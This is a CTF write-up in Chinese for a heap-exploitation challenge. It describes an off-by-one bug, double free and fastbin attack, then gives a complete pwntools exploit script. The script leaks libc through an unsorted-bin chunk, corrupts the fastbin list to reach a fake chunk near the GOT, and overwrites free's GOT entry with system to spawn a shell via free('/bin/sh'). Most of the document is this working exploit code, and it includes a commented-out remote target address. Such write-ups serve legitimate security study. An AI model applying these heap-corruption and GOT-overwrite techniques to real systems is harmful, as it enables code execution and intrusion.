-
off-by-one
-
double free,uaf
-
fast-bin-attack
函數功能:
-
add函數中有一個off-by-one溢出,可以修改下一個本數組的堆指針的最後一個字節,使其指向最後一字節爲'\x00'的堆塊
-
用off-by-one修改後,free這個unsortedbin堆塊,然後顯示其中的fd,得到libc基址
-
同理,用double-free構造fast-bin鏈,並且在got表上或者malloc_hook上找到一個合適的堆塊,獲得這個堆塊,修改malloc_hook或者free-got。
坑:
題目說:部署環境是busybox,一種虛擬機。其中的libc不知道,所以one_gadget不知道。所以改__malloc_hook爲one_gadget在本地可以跑通,但是打遠程卻跑不通。
所以只能修改free_got爲system函數,然後free("/bin/sh")。我一直在煩惱爲什麼one_gadget不行,並且想裝一個busybox,(相當於編譯個linux源碼安裝)。於是問同學,他們也在苦惱,然後說改got錶行不行啊。豁然開朗。
於是我在got表上找合適的堆塊,一直找呀找,找了很久:我是這樣找的:
x/8xg 0x601ff0
但是一直沒找到,後來同學做出來了,我去問:他是這樣找的:只要看4個字節就行了。細節啊!!!
x/8xw 0x601ff0
唉,到手的兔子,飛了:
from pwn import *
# p = process("./steak",env={"LD_PRELOAD":"./libc-2.23.so"})
#106.75.63.193 9705
# p = remote("106.75.63.193",9705)
p = process("./0gadget")
# context.log_level='debug'
context.terminal=['tmux','splitw','-h']
libc=ELF("libc.so.6")
def add(size,title,content,remark):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("note size: ")
p.sendline(str(size))
p.recvuntil("the title: ")
p.sendline(title)
p.recvuntil("the content: ")
p.sendline(content)
p.recvuntil("REMARK: ")
p.sendline(remark)
def delete(idx,remark):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("to delete: ")
p.sendline(str(idx))
p.recvuntil("REMARK: ")
p.sendline(remark)
def show(idx,remark):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("to show: ")
p.sendline(str(idx))
p.recvuntil("REMARK: ")
p.sendline(remark)
add(0xe0,'f'*0x70,'content','remark')#0
add(0xa0,'f'*0x70,'content','remark')#1 unsorted bin
add(0x68,'f'*0x90,'fffffff','ffffff')#2 這裏0x90個a,最後的\x00會覆蓋本堆塊指針,使其等於#1堆塊指針
# attach(p)
delete(2,'xxxxxxx') #釋放#2堆塊,但是實際釋放的是#1堆塊
# attach(p)
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("to show: ")
p.sendline(str(1))
p.recvuntil("note content: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78 #顯示main_arena+88
print("libc_base:"+hex(libc_base))
libc.address=libc_base
# attach(p)
p.recvuntil("REMARK: ")
p.sendline('remark')
add(0x58,'f'*0x70,'fffffff','ffffff')#2
add(0x58,'f'*0x70,'fffffff','ffffff')#3
delete(1,'remark')#1 和 3指針相等
delete(3,'remark')
delete(2,'remark')#double free
system=libc.symbols['system']
# one_gadget=libc_base+0xf02a4
add(0x58,'f'*0x70,p64(0x601ffa),'ffffff')#1 指向free-got表的僞造堆塊
add(0x58,'f'*0x70,'fffffff','ffffff')#2
add(0x58,'f'*0x70,'/bin/sh','ffffff')#3
# attach(p)
add(0x58,'f'*0x70,'f'*0xe+p64(system),'ffffff')#寫入free-got爲system
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("to delete: ")
p.sendline(str(3))#free("/bin/sh")
p.interactive()